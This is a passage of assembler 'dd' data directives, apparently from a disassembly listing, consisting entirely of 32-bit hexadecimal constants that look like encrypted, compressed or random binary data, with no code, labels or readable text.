dd 0A9D7EDCFh, 80C31C13h, 0FD009AA0h, 0BC8BCBE3h, 0D46F50FFh
dd 0F5ED5EDCh, 4CE40DB4h
dd 6366A54Dh, 9BF1BCA8h, 0AD059284h, 315C33AAh, 66CA04CDh
dd 0D621458Ah, 5A6EFB21h, 0D734CBC4h, 3374DF6Dh, 0A143FC4Eh
dd 2B35E6F3h, 1EB82066h, 4A8DA03Eh, 0EE707555h, 3114B505h
dd 7FDE2FBDh, 836CFAE8h, 9181E521h, 8BC52D7Ch, 1AB2789Ah
dd 0E981101h, 0A069FB14h, 0A385291Bh, 72B38E45h, 0D1E85CEFh
dd 0E96ACA4Bh, 0D4C70C60h, 91A62D95h, 9C8B2714h, 54D52B8Ah
dd 62582061h, 40856DB0h, 4CBD9AC3h, 2E8DC9E4h, 0B80126C6h
dd 4588FC35h, 0B71254E5h, 7B3C1D02h, 9E94304h, 0D061B25Bh
dd 58AD468Ch, 5AFCD8D3h, 7B5ADAEAh, 90B52CBCh, 8192F9A8h
dd 0AF7FDCA3h, 4748EB5Ch, 0BE1FF7C9h, 0A1EF7A65h, 0C7D0DA88h
dd 0F41A1F61h, 0FB6C8B22h, 0AA20527Dh, 0BB8747AEh, 0BAE35DCh
dd 41CCECA6h, 5659B673h, 0D13C500Dh, 8BAA2033h, 0BBBC347Ah
dd 0BF618342h, 96F2BB26h, 0D9A4CDACh, 0D5973DA8h, 0A01855A4h
dd 0F020AF1Dh, 0BE831E40h, 6B9E9F4Fh, 15D2AEAAh, 45D5382h
dd 98D0C924h, 0D90D7D10h, 3864B6CAh, 4A76E4E3h, 0FC04B487h
dd 66FF7AA9h, 296C3F7Ah, 0BD9C68DEh, 86BD1693h, 54000997h
dd 0F0FC8D6Ah, 939B8DEAh, 8191A668h, 0AD0D896Dh, 4CF3AA69h
dd 28418D62h, 3BCCE615h, 90196488h, 0F7C0108Bh, 48A831Ch
dd 0FEDBC4BDh, 3955F9F2h, 0FE7F39D4h, 2391CF63h, 2512C0D6h
dd 2F937FE0h, 8F50C747h, 985F4496h, 4856BD0Ah, 0FC3C6552h
dd 0E66DB128h, 0C2512530h, 0AF177116h, 4B1E804Dh, 0DB830560h
dd 3C8F6C72h, 7CDF997h, 5EDD8B65h, 1DCEE989h, 5BF872B3h
dd 0C209246Bh, 542C7A42h, 1322D859h, 9E210E9Ch, 0E3AD1E28h
dd 6A55198Fh, 1D269C91h, 6E3E1671h, 87382937h, 0D7F67FE6h
dd 9E5E205Ah, 48EC8B91h, 7097F911h, 0CB5F2968h, 0F6643A9h
dd 540B7F51h, 2EF4D4A5h, 57F34B0Bh, 0D9B796ABh, 85BBBD0h
dd 0B4872F69h, 889077A7h, 7A7AABB8h, 0AE617AFDh, 3C3D77B8h
dd 0BE335D9Dh, 6DEAFE0h, 0B839C207h, 3820323Dh, 75A38352h
dd 0A71EDA1Fh, 0C4242124h, 654D3376h, 75F6566Dh, 17241A6Ah
dd 9C5EA330h, 9295091Ah, 45945FFFh, 73A45ADCh, 64819E2Ch
dd 3F43E04Ch, 5A13E712h, 76EFBEA0h, 66D6194Fh, 88AF868Ch
dd 0CADBC948h, 4531D5DDh, 0C448C54Eh, 3A89E6B7h, 44EF37AAh
dd 0B6EC2E34h, 23F2084h, 0AD3DCA66h, 5C0E0CF6h, 8A9A0DDBh
dd 55FAF594h, 0C334A956h, 0FEF0CD6Bh, 0B44E5409h, 9969136Eh
dd 8DCE56D8h, 0B0327600h, 6326AB07h, 0BE5DEB32h, 0DC79DE17h
dd 7DF9FBE0h, 2D40373Ch, 0FF17CBA9h, 0C0ACEA38h, 53E582B3h
dd 752BDE7h, 0F9C2D851h, 7539A4EBh, 60CBC473h, 66BB9881h
dd 0CE0F7FB0h, 9DDBEFDFh, 2D5995D3h, 0DC5B40A6h, 8031A031h
dd 0C8607EFEh, 0D4DC7BC8h, 46C9144Eh, 529ECD1Eh, 1C3BD3EEh
dd 9685A99Ah, 751FED9Ah, 922A9C5Bh, 0CF6C1B4Eh, 15D5DEC7h
dd 9E3E650Ch, 93F342A3h, 0B3AEC6B4h, 0B9EB2894h, 5795833Bh
dd 699B1196h, 5C002E4Eh, 9FDB6844h, 0F4DB4BE0h, 0A84B9D4Ch
dd 88880711h, 8CD86A2Ah, 179C5AC2h, 475969C3h, 490E61D2h
dd 50435CB0h, 0AE5F864Ah, 0A2702B18h, 3B88C289h, 9CD6CF15h
dd 0FAC1686Ah, 0D337512h, 8B6AE1A3h, 8474BCF3h, 0F7FC0BD7h
dd 822345B4h, 0A07B482Eh, 0B8B84D00h, 46157A2Eh, 96DC31BCh
dd 0DE90D2E4h, 16AC4443h, 0CAB85A1h, 89D0CD83h, 76943B82h
dd 0C5628557h, 5ABF47D0h, 71DF67A5h, 275AC99Ch, 0D76389DDh
dd 4846A5ADh, 5D1E3DD6h, 0E06C5FDAh, 8AACFF1Fh, 312EA483h
dd 74416264h, 583574A8h, 0B0796C12h, 0EA82612h, 2B2C35F6h
dd 0F354E190h, 63AEAE43h, 0ABAC4797h, 98275283h, 0C22EB38h
dd 0A25FD4EAh, 9ED61126h, 47432C1Ch, 0ED7CA27Ch, 649EDE3Ch
dd 2D90B4CEh, 1B2BE46Fh, 6FF38796h, 0FC89E9A8h, 0C5E73737h
dd 0AE684479h, 0A2299761h, 410D4927h, 0EA05F86h, 125FBFFFh
dd 316FE548h, 5352C4BCh, 0A210833Eh, 0E956F1BFh, 0A15AE3F6h
dd 61A37A3Eh, 5702D29Ch, 0DB0BE0BBh, 1401F0B3h, 0BCE9B635h
dd 0D789C0ABh, 1F8BFA0Eh, 52EC92Bh, 0D4C221A4h, 492D36B1h
dd 5B194895h, 0BE03A26Ch, 0DEFC2005h, 95D25B2Ch, 7F1ABF32h
dd 9BD705Eh, 2FABA720h, 1228F1AAh, 417DC718h, 0C9AD9AFEh
dd 0C1CF7884h, 0FF82DBFFh, 5A6917B2h, 0D8DB49BBh, 80510A41h
dd 0C2624867h, 97B4C9Dh, 0BA08C457h, 0F8474E57h, 0B5EB713Ah
dd 6F6056C7h, 2F26578Bh, 0CDA1A275h, 24304ABFh, 0B94A4A6Bh
dd 6B98494Ch, 0A69BF117h, 9FE73CC1h, 0B48E697Fh, 0F2672F8Fh
dd 5C8BFC30h, 6B2AE437h, 7FCE863h, 17629A88h, 92432167h
dd 379E1BADh, 4B8CA0D5h, 0B735491Ah, 35F5C380h, 2198EA25h
dd 0B7AE6E22h, 499AC1CBh, 0A573BEDBh, 0EB0A5231h, 0D22E7BD5h
dd 0F8141E60h, 4C04B6D3h, 0D327FB78h, 9079E2D1h, 0AB0F1368h
dd 28CD6394h, 0E7AF6738h, 0F05A16C4h, 7ABEB63Dh, 143EE9C1h
dd 66E4C85Ah, 0AF8BC541h, 3DE96F5Ah, 0F9D46F14h, 0ADC98599h
dd 0DC277F0Dh, 35168ED0h, 9F64CDBEh, 10AF37A7h, 90349B50h
dd 0E00C8418h, 3061ECAFh, 2422409Eh, 39734ACEh, 81C973A0h
dd 0A253A8C0h, 0DE8843FAh, 87ACF31Dh, 6A0BF801h, 0E33D6EF9h
dd 0A420E43Ah, 2924E510h, 1F2E47E4h, 84071B42h, 475FD83Bh
dd 559897F6h, 0ED5EC42Fh, 0EF66FEBCh, 2B0F559Bh, 0ED78C40Dh
dd 76929Fh, 8617DC5Dh, 193CEB05h, 502FCAC4h, 8CE4D80Ah
dd 81467B5Fh, 0F7225A06h, 0B7728451h, 9A4AD2D9h, 4750D8E3h
dd 0A420E78h, 0A7ECB21Ah, 5C7CA1A7h, 86229953h, 764E3212h
dd 0EDAD8DB9h, 8B926338h, 0F376862h, 0E6C6B6D0h, 66F7C983h
dd 28BBCCAAh, 0D6F214FFh, 5971EB06h, 7BF701EEh, 37623C6Ch
dd 1674A5A2h, 0AD168E5Eh, 8AF6CFE8h, 11D07F46h, 0E67AD761h
dd 193D24C7h, 8E5553C6h, 35A2C8DAh, 0FE9EC00Bh, 46BE4B55h
dd 83F413A0h, 0CD8050ACh, 0F95EEDD1h, 6193316Fh, 80750490h
dd 1083A0A3h, 0DD3EE9Fh, 0A7F8095Ch, 0E4A6364Dh, 806264F0h
dd 4B9FAB9Ch, 2D487ECFh, 4CCD0BDDh, 0BF11A08h, 69D6308Ah
dd 0CD717AE8h, 0AB2CBF99h, 0B53EEC12h, 87FF0A2Dh, 91D3BEE5h
dd 0BEB0DEAFh, 0E6CBFB5Fh, 5FBE0A08h, 20B241EBh, 6F404646h
dd 15F21064h, 6D57A2Ch, 8BE76B9Dh, 926C539Ah, 0A7264E94h
dd 0A7B5AA3Dh, 7CEEC383h, 0BA9DFFA8h, 73F40B0Bh, 0AD12AA3Eh
dd 8FF0A44Dh, 6C1BEDDCh, 0B6C1DA82h, 0DBF4E817h, 230485EEh
dd 5CE01882h, 3761CA65h, 3C541165h, 4D0B1BD6h, 735BCF2Eh
dd 50931B5Eh, 0B2C204F8h, 0B3F9D459h, 0AA6294F2h, 0F044EF95h
dd 39550705h, 52C74B0Ch, 0C9142C1h, 90F9B35Ah, 0A603C5F0h
dd 1F225456h, 8EF7E651h, 999DD441h, 0A38AACEh, 3190E95Fh
dd 590D7C2h, 710A7D38h, 7F49D8F1h, 0AAC74255h, 0E4C5BF5Ch
dd 0C01F3950h, 7BD6497Bh, 9DD59ED1h, 0E53C08E6h, 0B1DDCA78h
dd 0A6C1A5A3h, 0BEC25420h, 70173F63h, 7CA112FCh, 82821B1h
dd 6553C60Bh, 0E9CDB87Dh, 0BC4D22F9h, 42B97687h, 0DA5F1855h
dd 0E59C6ED6h, 0A6FADC06h, 50FAC255h, 3B54DA31h, 0A30B91D4h
dd 0F6CB258Dh, 18BB7CDh, 0AE3D84D0h, 0E68E65C7h, 97D9FF25h
dd 0EE510F87h, 0A8B795FEh, 1109D808h, 652EA2FDh, 0D73E343Ch
dd 9E7CDF5Eh, 82DAECD6h, 57CBE588h, 584B1735h, 0E333CB60h
dd 4AE8C5Ch, 0B2D8EF56h, 828558FDh, 4B68E398h, 0CF0671A7h
dd 3DA718C8h, 5F9ABE52h
dd 8D130478h, 7D5EB4ACh, 447ECCA7h, 0BB91FA6Ah, 2DA1DFD6h
dd 0D3884D5h, 0D491277Ch, 0D2E544CBh, 13A12957h, 4E66F793h
dd 0C345B327h, 0D219D75Fh, 56D17DD9h, 7A4BB843h, 21783F8Eh
dd 0EE9025B9h, 282E8C1Dh, 79F7DAE2h, 940AD469h, 0E041A5DEh
dd 0E80F1ABAh, 456F132Eh, 63910637h, 0E942D3ECh, 42F2CAA6h
dd 598BC26Ah, 62DC7402h, 0ACC9C35Eh, 797364Fh, 0FD9449A5h
dd 54BA9B7Dh, 84D6C9B3h, 0F1AE9E0Dh, 0F38F00B3h, 93DC09A3h
dd 119CA937h, 0DB9DB60Bh, 62BCD75h, 0A3F4A3C0h, 0F81BC12Bh
dd 0CBA1FD96h, 7D274A66h, 819918B3h, 466BF429h, 4391B8Eh
dd 31AC4EC4h, 0BD031780h, 1C2BA815h, 3F095BC1h, 0DAB86FE4h
dd 0C0645D80h, 2AACB0F5h, 0C8AD6600h, 2ADF976Dh, 0A5398F63h
dd 1D200236h, 2CD83E6h, 0FB2BFDAh, 5B9BA71Dh, 8459447Ah
dd 0CE903776h, 6E6E8C7Ah, 0DD419300h, 47E52719h, 516143C4h
dd 0BFB44B5Fh, 88BB63A9h, 0C7888269h, 4F7EE74Bh, 686D2843h
dd 30DAE919h, 39F5978Dh, 67B1D76Ah, 2904F67Fh, 0CEB664B4h
dd 31D6771Bh, 0E750324h, 0E8F614C9h, 13DF1615h, 32483A90h
dd 0FD5AF3ABh, 31F8B703h, 1213DB8Eh, 0E4E5C6EAh, 0B9B63CE9h
dd 45FEED71h, 4BE622A7h, 7EBD30EEh, 0A2494860h, 54A2C0C8h
dd 0CD018ADDh, 0E413A3CEh, 44FD7EDCh, 0E892BEAEh, 6E056FF8h
dd 0BDD506F1h, 0EF366DB1h, 4F7065B2h, 0F9617D28h, 0F47AE355h
dd 9C50B9A4h, 3C8659A6h, 0E39F7C1h, 0E4177AEBh, 1E2E501Fh
dd 4364675Eh, 8328BBFAh, 0B021BF70h, 74415AB2h, 0B9C71A8Eh
dd 9CECE3CFh, 87AEB58Ah, 742D7023h, 0DA00DBDCh, 4D28556Bh
dd 2662806Dh, 0C44FCA1Eh, 0CD846A8h, 0B1B5AC36h, 0C9EB2D68h
dd 76C32DAAh, 34AE1EE6h, 61EB8C88h, 73399D7h, 71E09FEDh
dd 52B698DBh, 0DE0B17B8h, 0B4B4ECCAh, 0F7066959h, 89128AE2h
dd 0AB814823h, 147399E0h, 1F9CB053h, 0B1530E7Fh, 81239A73h
dd 171DAB28h, 9F4D1A12h, 0DA0803DDh, 2A141C4h, 0BD7F0868h
dd 8493F6EEh, 3B1E33A3h, 61D01CDAh, 52D0F792h, 258A022Ah
dd 79308A17h, 28BC56D4h, 0FC3FFEF6h, 0FE9788F9h, 3A77FDB8h
dd 7AB622EAh, 462E75Ah, 753FAAE4h, 0D85E2401h, 1052CAF9h
dd 0C552BF1Ah, 0D604BDDCh, 0B2C52394h, 6D59D849h, 8E47B978h
dd 0F129F769h, 0F6CFFCDh, 8EDB3221h, 0ABD8E111h, 0D283D686h
dd 0EF51F6D2h, 0CFB62504h, 181B110Dh, 4F55AE24h, 0BF2E23DFh
dd 0E6DA7B20h, 23BDE13h, 0E216A0h, 788FDB76h, 3C8EB2F9h
dd 5383135Dh, 6DCC5036h, 0FABC486Ah, 7DBCB03Fh, 0BC724A63h
dd 305AE5F1h, 0D1D1EBEAh, 0B6C73C0Ch, 8B489C1Ah, 0F8AF7704h
dd 1E50B699h, 0A749228Dh, 77B784EEh, 0B00A7812h, 0B62A7B72h
dd 0AE224FE2h, 0D9226D9Eh, 3061C800h, 5DDC801Ch, 22D4D812h
dd 0B915D597h, 9C809A8Ah, 6FBB0BCCh, 0A901A861h, 0D397E981h
dd 3BDB0852h, 4BF69009h, 8D5CC35Bh, 8ED8AA8Eh, 56935CE7h
dd 0BD6E63DDh, 63BA5FBFh, 99705958h, 9DCC5416h, 0B0129D3h
dd 0F656688Ah, 8313200Eh, 19A2B92h, 0B8D148A0h, 63923C5Ch
dd 5A827E17h, 3AF7B923h, 0CE38BB7Ah, 52134FC9h, 0FB08FBCAh
dd 927E1D1Ah, 610F9A1Ch, 3919D148h, 959331E4h, 29226AD9h
dd 9E42050Fh, 0C248EEB5h, 0B8D1EAACh, 0AA03E084h, 0A4DB3D09h
dd 0E2806EDCh, 2E8F63F4h, 2411CABBh, 77767EF3h, 39D1DFAAh
dd 0B5F7DAD9h, 0DD1071E0h, 0D8F806A4h, 7C9AB734h, 0EE891DCBh
dd 0BA1C1CE0h, 74B8DF68h, 0A2355FD9h, 84F56376h, 8B4381E2h
dd 0F21C534Eh, 0DB31F1CBh, 846A6804h, 0F0A9E515h, 5BA797D9h
dd 0DA0C68B8h, 0FFB57824h, 2F87A903h, 883F87A9h, 0D066303Bh
dd 4D14B1Ch, 0E1C5FB32h, 254B5DA7h, 46BD84B3h, 1732AB60h
dd 0FF3617BFh, 0FE23B134h, 17279B8h, 0D7D9DFE0h, 0EDDE2933h
dd 910A54A0h, 0EF05A07Ch, 0A3A03448h, 9AEBF5DFh, 3AA8FBD4h
dd 0DE952BE9h, 0EE001D0Ah, 0A5C02343h, 3642CBF5h, 3143736Eh
dd 34D68D9Dh, 14D8CF1Dh, 2215F8F4h, 67CD7925h, 7A2FA8B2h
dd 6F591111h, 5C6510A2h, 95D263B9h, 3AEC1B0Ah, 0DFA66E84h
dd 0B3273C8h, 81B6A1B2h, 0B1C2F00h, 0E1462438h, 6830CE55h
dd 93EC9EF1h, 9D2720D9h, 0CE94A79Dh, 0B5E33F73h, 23D5B212h
dd 0E4F3534Dh, 43D6C85Ch, 0ACCD8FB5h, 151F9158h, 669CE394h
dd 0B6D20F45h, 0C3CCFE07h, 9A430217h, 3D0BA0FDh, 0B734A15Dh
dd 0C39759C0h, 0C77FF47Ah, 1BE5BB6Eh, 5E582CF7h, 15F680C0h
dd 77F68EC0h, 0F6970DD7h, 9A706585h, 0C04CBE37h, 0DDFE5835h
dd 0CBCBAA98h, 0CAF985C9h, 7AAAAC37h, 0B2F59310h, 12E34D72h
dd 6BB5C3FEh, 997C09A6h, 71C91D94h, 40D8DB81h, 0FE9CC147h
dd 2B86ED8Ah, 0A4989F3Ch, 0D1A10A98h, 750932BBh, 3F01FC07h
dd 5BFAF435h, 0F7CFB690h, 0CFA4F22Ah, 4A415D33h, 5F7584F1h
dd 0D098CF3Eh, 6A730A16h, 3A0C52Bh, 0D8DC9BBBh, 69D6F006h
dd 17D02576h, 0E1B205B6h, 3FBA7A42h, 71A55A59h, 8AB3F2F0h
dd 731EB90Ch, 9EDF9727h, 0C688DE0h, 33DA628Fh, 0BD57E86Dh
dd 86068C65h, 1D8ED511h, 0C146053Fh, 0E5E9F649h, 0ED18A1BDh
dd 17ECF837h, 8367E742h, 6F50ED0Bh, 0D0248157h, 7823F661h
dd 0DA9F8FEFh, 0B8CCA20Bh, 0C930E3E5h, 284D47A1h, 47233514h
dd 0D7CEF7FEh, 18687EAh, 8954EBABh, 16FE5048h, 33AA5B5h
dd 960BC7AEh, 867792F9h, 8CB4BA0Eh, 0E1D38192h, 5A0A9FE2h
dd 0B6A449B5h, 0CF709D7Dh, 0AE5AF36Eh, 8D064767h, 861E2E4Bh
dd 0CAA0583Dh, 2FCC1F8Dh, 7A21A007h, 42F073A4h, 713C9346h
dd 8132840Fh, 0D527AB7Ah, 0F04F9D72h, 459B25Dh, 2AA395F9h
dd 0A41FDA9Ah, 5940A53Bh, 0D533A6A7h, 72D4128Ch, 0E8380083h
dd 0A5A12796h, 1129C7E2h, 6C460D4Bh, 1D4D8257h, 678BE276h
dd 0EAA6A133h, 0C5920F7Dh, 0DF660375h, 0F1A1479Ah, 6EE8DF2h
dd 321E4385h, 2534FA61h, 0EC599F70h, 3E5817F4h, 8E62CE42h
dd 0B5CF72EFh, 10BC7711h, 6216405Dh, 15A74720h, 7C3D6BABh
dd 8FAFD3FBh, 1BA5EC5Ch, 41B25D8Dh, 6B60D27Ch, 276B247Bh
dd 109D4935h, 0DA10613Bh, 8B21F007h, 685B7D9Dh, 84A19E39h
dd 5C9306BDh, 3A7F4DBFh, 0DCF34CC0h, 0FB81163Bh, 0DDABC2B0h
dd 2BD765DAh, 269DD2E2h, 196320C7h, 9D1F55D1h, 0DB76AAFCh
dd 891D909Dh, 8BB1B59Dh, 146D6043h, 8A4FDB74h, 0DF2CC6DDh
dd 5F682D76h, 0C23E906Ah, 11F588C6h, 85BBC202h, 105A99F6h
dd 5E7C7156h, 0BF724F72h, 0AA9ACF37h, 0F056E14Fh, 4F474D3Ch
dd 8ED7F3D6h, 0C172F12Bh, 0DBD759FFh, 15BD3CA3h, 0FC61D2E5h
dd 37C5D0AFh, 0A6F14802h, 3986865Ah, 74A18F98h, 4D1A826Ch
dd 0E474F633h, 4493D2E1h, 2F86F721h, 0C571A8BFh, 719C4205h
dd 9399743Ch, 6B12BEA7h, 52C55CA8h, 97F37108h, 0ED033B3Eh
dd 0EC48C7C4h, 0C23C9104h, 0A7759CCBh, 0ED797ACEh, 7B75BB20h
dd 0C945FFD9h, 0D28B53D0h, 0D5D001A4h, 0A1752A9Bh, 6420924Bh
dd 8C9763A3h, 63F3DEF9h, 0F8EA0CFBh, 0FB57CB66h, 0EF9C8096h
dd 0E8B555B6h, 7C12F982h, 0B2686825h, 68D9E9CCh, 0EBA78CC1h
dd 0D58E3A40h, 805F7582h, 0F480D4C0h, 102C2ECBh, 29D55CD8h
dd 0EE0F2E5Fh, 0C7718156h, 69368B7Bh, 69D282F7h, 0A4A8A9C6h
dd 1EDF6185h, 74949A99h, 0CA5E5D36h, 35BF61CDh, 0A5BE9ECAh
dd 0B600EC11h, 6EF88EC9h, 393A879Dh, 0BC845932h, 8BB3EAEEh
dd 9EC558FAh, 0CA997BF2h
dd 55372EFFh, 9DC3AB4Ch, 9C531E51h, 6FF1D78Bh, 2A9D36CFh
dd 0F2AE2A0Bh, 1D3FBD04h, 13EBF334h, 451BF153h, 0AEBFA3Fh
dd 12363B65h, 7401315Eh, 0B8B89253h, 0F55F7D34h, 0AEB7F709h
dd 0EF3F1FC8h, 4CBCCBAEh, 6986A72Dh, 3006BE65h, 132D7572h
dd 3636B1EBh, 82D8C1F6h, 26D942DAh, 0B815A9B2h, 1F51C30Ah
dd 50BB38F7h, 30A1B386h, 0EC266B3Ah, 0C533D960h, 0A0EDABD5h
dd 0A74C7DC1h, 68E5540Ch, 14724E68h, 8AB46AD7h, 1FA1E2C6h
dd 0F499B940h, 0C6D530C3h, 44A56454h, 888B5825h, 0BB35E23Ch
dd 2386F2E0h, 0F8423F36h, 0D0AE697Bh, 33A667E1h, 9D365BAEh
dd 73ED6395h, 85E0E635h, 854681D4h, 6A3DA6ADh, 29CBB62Dh
dd 622EE630h, 84DFE695h, 3D15C041h, 0FA3CFE27h, 0EAE6D468h
dd 131B38F5h, 7100475Eh, 0EDBB8587h, 6C59B0BEh, 4BBC90F2h
dd 1B4C3C25h, 0DF529A53h, 15CDBA7h, 4C890D7Bh, 394B62D4h
dd 8967F625h, 0E7C229Ah, 0E621FBCCh, 907738FDh, 31A7395h
dd 27E00EFBh, 0CDB45973h, 9BB5024Ah, 7A7BC3F4h, 3E31FDCFh
dd 51ACB357h, 2B7FD34Eh, 0A7C9F613h, 50EF432h, 50E9B216h
dd 0D3607A4Ah, 65B461D9h, 9DF2B89Fh, 0E19AC93Dh, 76927F31h
dd 0DE855B1Fh, 806EC62Ah, 0A39356D8h, 0C3FD8DAAh, 200BE0E7h
dd 0C9CE5EFDh, 31329CDCh, 492A81B0h, 0D4058B68h, 20CD95F3h
dd 0AFB2C3FAh, 0E325C055h, 37CBF0C5h, 58ABF070h, 0E5CA256Ah
dd 7C2B6417h, 44A65CE4h, 0B7B7BA15h, 40A0B9A4h, 54A5E8ABh
dd 693A5BF5h, 5C76D989h, 64ADA188h, 0F3F41755h, 5B3EF297h
dd 0F5D4B059h, 856CBDC5h, 8E1D3272h, 959C4781h, 0A3648FB2h
dd 0E152164Fh, 114A54F7h, 842F543Fh, 5208C2AAh, 68317650h
dd 0BFF0CCABh, 6692A460h, 2C7C6E3h, 0DD59F497h, 21A94F3Ch
dd 0D323E67Dh, 5D3FABBAh, 0E7A72C3h, 7D58AAA2h, 0E25E3223h
dd 6F1A5DB5h, 0B9727969h, 0F7D45A47h, 0A5CFAD00h, 2E2BA762h
dd 0BEFC1273h, 0F5700DDFh, 8B898C93h, 0C57D54D0h, 0E46D1456h
dd 0AE229487h, 2B4DA606h, 4B2C42B3h, 83B60D06h, 4F380BFh
dd 88182988h, 0C05DDEFEh, 6DC0740Eh, 0A25FC9C5h, 8D7BA09Dh
dd 0ED68F14Dh, 0D144C5BCh, 2C62006Dh, 264DB4B7h, 0E264EC7Bh
dd 55F0FD65h, 0AA01C5B2h, 7C57F616h, 3E913426h, 15E5E63Fh
dd 0EEE113C0h, 0ACA037D4h, 0ED0E496Dh, 4FD29BD6h, 0E0378E40h
dd 5D5BF25Ch, 0E0948D03h, 433C8F21h, 0B05370E5h, 695B73Fh
dd 9E944D0Ch, 18AA5C03h, 0CB2F9350h, 1B20A2A4h, 31C897ACh
dd 0D8E1EE32h, 19F109Fh, 55326FB6h, 11432E74h, 4C9D859h
dd 8B5AFCAh, 0CFCACF08h, 0F34B74C1h, 0AD966D50h, 0CCFB94FCh
dd 1114366Dh, 25A72054h, 75290035h, 0B03E71D4h, 385CFE09h
dd 0ACD92FF1h, 9AED3EBh, 4D8FE1EDh, 423DC65Fh, 93D127FAh
dd 0AE67B94Fh, 0D0E344D2h, 0B306DBFh, 4D278DEAh, 0FDDF71CFh
dd 57E18951h, 15B37D1Fh, 0D0924982h, 37777E3Ch, 0D5769A8Ah
dd 52BC56B0h, 2B48F700h, 0DC2229F7h, 948B7CA2h, 1E80DCC4h
dd 89A251C3h, 7E0D5030h, 55769DC4h, 77BA9A7Bh, 0DC1BF376h
dd 0B79801h, 8A0AF8BFh, 2E52295Ch, 0F3B3905Dh, 110CBFFCh
dd 0BD6D4CF3h, 43B72591h, 0F5BCD833h, 0FD3C8BEAh, 1F60680Dh
dd 316B5A20h, 1E56B4AAh, 304629DCh, 2952497Dh, 0FD2A16FEh
dd 5B531DF9h, 9BABAF2Bh, 0B8502F80h, 18B9802Dh, 0BEBD14B9h
dd 3AB63BC6h, 3E09B071h, 160523EEh, 0DF22C133h, 61B04E52h
dd 6358FB2Eh, 5597139Fh, 0ECC0F164h, 0FBDF18B0h, 2650ACCDh
dd 266958D0h, 0CDA86BFBh, 6FCED427h, 0C74F29D9h, 6CBA71C8h
dd 0E848003Eh, 0B343EDEDh, 3E93B12Ah, 1232CF33h, 91F8E1E6h
dd 166951F0h, 0B5F0095Bh, 701C4077h, 34C71165h, 93172127h
dd 46C83528h, 578C2055h, 0BBA1A065h, 8DA7789Ah, 2F8A247h
dd 98B2CE2Bh, 7501A7A9h, 58D6BDFEh, 0A38C8B1Ch, 16008369h
dd 165B78E0h, 0E505BD87h, 9DAA6780h, 3A7DA79Fh, 45D168DBh
dd 6DD1E77h, 266441Eh, 0A86BC32Eh, 4D01E8FBh, 0E36ACAFFh
dd 394BA32Fh, 8DC64EB5h, 696CCB05h, 0FFB01FEBh, 25EAEFBCh
dd 5CE5FA7Eh, 583A1FBFh, 9A6783BDh, 2193FEC7h, 0E298BBFAh
dd 0FD8C4578h, 0CF9ADFEh, 17C6F30Dh, 3344402Ah, 0E2E4CBC9h
dd 11D62FFCh, 222593EAh, 0CC266B82h, 0FBE938ACh, 20382EECh
dd 0FE4FE3AAh, 41B2FA8Dh, 3821028Eh, 1E1EA85Fh, 0C6FA6993h
dd 0E9C04C2Dh, 0FA637CB7h, 0CB48013h, 71833541h, 88948D61h
dd 4DDB2EADh, 4C3726B6h, 49E3371Fh, 5FE40AC9h, 0AA00AC84h
dd 3101A0Bh, 66D6E963h, 802E7CE6h, 38E7A81Fh, 0D0C0F7A3h
dd 2474C8D1h, 0C972AD89h, 1A1965C0h, 227DB96Fh, 0E1902F52h
dd 93E4964Bh, 4BFD6EB5h, 4C9E28FFh, 0A4C1C4E0h, 0CA330D8h
dd 9F5F6B05h, 3057F449h, 809B61CEh, 0DA5A051Bh, 4AAE903Ch
dd 4F7EBF1h, 50DFE44Fh, 0AE9A9FF0h, 9FD55066h, 26B1E7BAh
dd 0AFB2D6D1h, 27495828h, 0B47E8B1h, 0DEE5EC0Bh, 0D5C96C0h
dd 6C43F104h, 27D5CC68h, 6002A2E4h, 48ED016Fh, 5F25CC7Ah
dd 0D75D4B7Fh, 0E92AF0B9h, 6CF7DAC0h, 315C0AD0h, 5AD94A54h
dd 91A04169h, 0BC76BC64h, 0C2C8E778h, 69529941h, 21F191B0h
dd 1C8212A8h, 0D40B5B7Eh, 6087EBD4h, 7341FF8Bh, 759C6416h
dd 9AA02895h, 0E0C164C3h, 84AC06D1h, 0A7E20440h, 8AF11EADh
dd 254A01FDh, 0BEBEB823h, 4844E6A3h, 0D22E7BEAh, 2F56FAE3h
dd 0ACD0A193h, 0BA87B092h, 278BE154h, 11D0DB63h, 0AF585C8h
dd 51A0A716h, 8361F0CBh, 6A07520Bh, 0C3D52032h, 0E572A1EEh
dd 0F4D32B0Dh, 0E36A3825h, 9A7C575h, 48D50E40h, 8CF39598h
dd 56664E21h, 62BB2DABh, 1940CEA7h, 33197163h, 7B3E9A0Eh
dd 8DBABF1Ch, 0F6E036CDh, 7DC2649Fh, 0C970BDAFh, 51F1DFE2h
dd 0FD713366h, 3E70657h, 611F0070h, 0D211C286h, 0DEFB7B66h
dd 56196609h, 4AED1352h, 3DBCEE44h, 0D6C08B04h, 76A6DBB1h
dd 42BAA24Ch, 0E7156052h, 0EDB464DFh, 0DD2E9499h, 6DC105E3h
dd 0C3BE5E08h, 85CA0B97h, 703888E0h, 1C4BB847h, 59FA32F2h
dd 8CD3E545h, 98A9163h, 1F28C405h, 1EE0DCB8h, 5FCE36A9h
dd 88ACDA76h, 8AC00130h, 0D7061D5Dh, 47CD9DF8h, 0F3C555CFh
dd 6DEBC0A2h, 0C9A2858Bh, 54EC645Ah, 5565342Fh, 8DBE8BC8h
dd 765E92F0h, 252A68B9h, 0A46CD25Ch, 69570EEAh, 0C7630E55h
dd 0D3FF76D2h, 0D7B9E44h, 2AD87955h, 0CCB0FBEDh, 0EEB43C8Dh
dd 0B58F85BBh, 0FC8077DDh, 57ED91F7h, 0ED7492EBh, 0F8DC93Ah
dd 8488ADF2h, 4CD6D89Ah, 0C1E55CDBh, 10DA7159h, 74F3C92Dh
dd 0B1909330h, 0E4A9B35Fh, 1E3A73D1h, 9DB32A21h, 5A8A5A0h
dd 0D67AE43h, 0C1EF6421h, 78EF041Fh, 1E8F5A98h, 0D5169325h
dd 43BA84DDh, 0E2A63AD3h, 8269DFDCh, 49D81332h, 3F38F37Fh
dd 2F50646Ch, 866B65D2h, 6A24452Fh, 0EAD57C86h, 9EB14E45h
dd 608FF6D6h, 1E3B035Eh, 0E939E031h, 5874C81Bh, 2130C8DBh
dd 20B1C56Fh, 0D5886F03h, 94AF8B5Dh, 66028CF0h, 0D5C0F956h
dd 0B65B0F98h, 0CDDC8EF1h, 832DB062h, 0D263B380h, 35351F9h
dd 28838605h, 1E078974h, 0A248FE30h, 0F17AA80h, 8C2753E5h
dd 0D5BC7293h, 157B38C6h, 0BA418CDFh, 6C07CBBEh, 59118313h
dd 56744A05h, 979302CEh, 0B7FA20BDh, 0C5DFF67Fh, 0BC3D4F9Ch
